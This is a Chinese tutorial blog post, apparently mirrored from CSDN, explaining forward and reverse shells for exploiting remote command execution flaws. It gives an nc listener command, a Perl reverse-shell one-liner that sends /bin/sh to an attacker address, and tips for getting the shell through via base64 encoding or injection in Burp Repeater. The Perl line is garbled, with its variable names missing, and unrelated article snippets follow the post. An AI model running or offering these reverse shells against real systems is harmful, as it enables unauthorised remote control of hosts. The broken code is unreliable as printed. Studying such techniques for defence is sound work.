shell介绍

server/2024/11/15 0:41:06/

[基础入门]正向shell和反弹shell-CSDN博客

shell:执行用户命令的接口,通过这个接口实现对计算机的控制

反弹shell:一台主机控制另一台

  1. 正向shell:在攻击机上开启一个监听端口,让被攻击机主动连接攻击机,成功后,攻击机就能控制被攻击机——被攻击机被动攻击是正向的,主动被攻击是反弹shell
  2. 反弹shell:被攻击的机子是内网或者设置了防火墙,攻击机无法连接,但是被攻击机可以连接攻击机,从而被攻击

反弹shell可以用在远程命令执行RCE漏洞上

被攻击机主动连出来:棱角社区

IP选择攻击机的IP,监听端口5566(linux服务器:nc -lvnp 5566),生成的反弹shell语句,让被攻击机执行:远程命令执行或任意命令执行(上文有具体介绍

如果没弹过来:

  1. 可以多复制多执行
  2. 可能无法解析,经过base64编码之后
  3. 或者bp抓包,放到repeater,改成post,echo;[perl语句]:大概率可以实现
perl -e 'use Socket;="127.0.0.1";=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(,inet_aton()))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

然后就会连接到被攻击机,得到他的权限

搜索该漏洞的影响版本,按照wp复现,但是不要真打,容易进去


http://www.ppmy.cn/server/112150.html

相关文章

【Tools】Apache Spark 的基本概念和在大数据分析中的应用

我们从不正视那个问题 那一些是非题 总让人伤透脑筋 我会期待 爱盛开那一个黎明 一定会有美丽的爱情 🎵 范玮琪《是非题》 Apache Spark 是一个开源的分布式计算框架,旨在提供快速、通用和易于使用的大数据处理解决方案。它由加州大…

力扣2.两数相加

class Solution {public ListNode addTwoNumbers(ListNode h1, ListNode h2) {ListNode ans null, cur null;int carry 0;for (int sum, val; h1 ! null || h2 ! null;h1 h1 null ? null : h1.next,h2 h2 null ? null : h2.next) {sum (h1 null ? 0 : h1.val) (h2 …

C#读取Excel的方法总结

C#如何读取EXCEL文件,本文就为大家带来三种比较经典的C#读取Excel的方法,一起来看看吧。 方法一:采用OleDB读取EXCEL文件 把EXCEL文件当做一个数据源来进行数据的读取操作,实例如下: public DataSet ExcelToDS(strin…

UDP数据报套接字编程

目录 ​前言 为什么需要网络编程 什么是网络编程 网络编程中的基本概念 发送端和接收端 请求和相应 客户端和服务端 常见的客户端服务端模型 Socket套接字 什么是Socket套接字 套接字的分类 TCP协议和UDP协议的区别 如何在Java中实现UDP套接字编程 相关方法 Data…

shell:获取命令执行结果的某行某列

1. 获取ll命令的第1,2,6列数据 # 获取ll命令的第1,2,6列数据 ll | awk {print $1, $2, $6} 2. 获取ll命令的某行的第某列的数据 # 获取第一行的1,2,6列数据 ll | awk NR1{print $1, $2, $6} # 获取第2行及以后的1,2,6列数据 ll | awk NR>1{print $1, $2, $6} # 获取(1,3)…

ant vue design日期组件date-picker自定义快捷选择日期封装

将自定义的快捷选择日期封装成组件,以便重复使用: 主要使用ant design vue date-picker的ranges属性进行自定义,鼠标悬浮到快捷选择的标签上,可以进行日期范围预览,点击即可选中日期范围。 在其他文件中使用封装组件&…

网恋照妖镜源码搭建教程

文章目录 前言创建网站1.打开网站设置 配置ssl2.要打开强制HTTPS,用宝塔免费的ssl证书即可,也可以使用其他证书,必须是与域名匹配的3.上传文件至根目录进行解压4.解压后,修改文件 sc.php 里面的内容5.其余探索 前言 前俩年很火的…

104.二叉树的最大深度

104.二叉树的最大深度 给定一个二叉树 root ,返回其最大深度。 二叉树的 最大深度 是指从根节点到最远叶子节点的最长路径上的节点数。 示例 1: 输入:root [3,9,20,null,null,15,7] 输出:3 示例 2: 输入&#xff…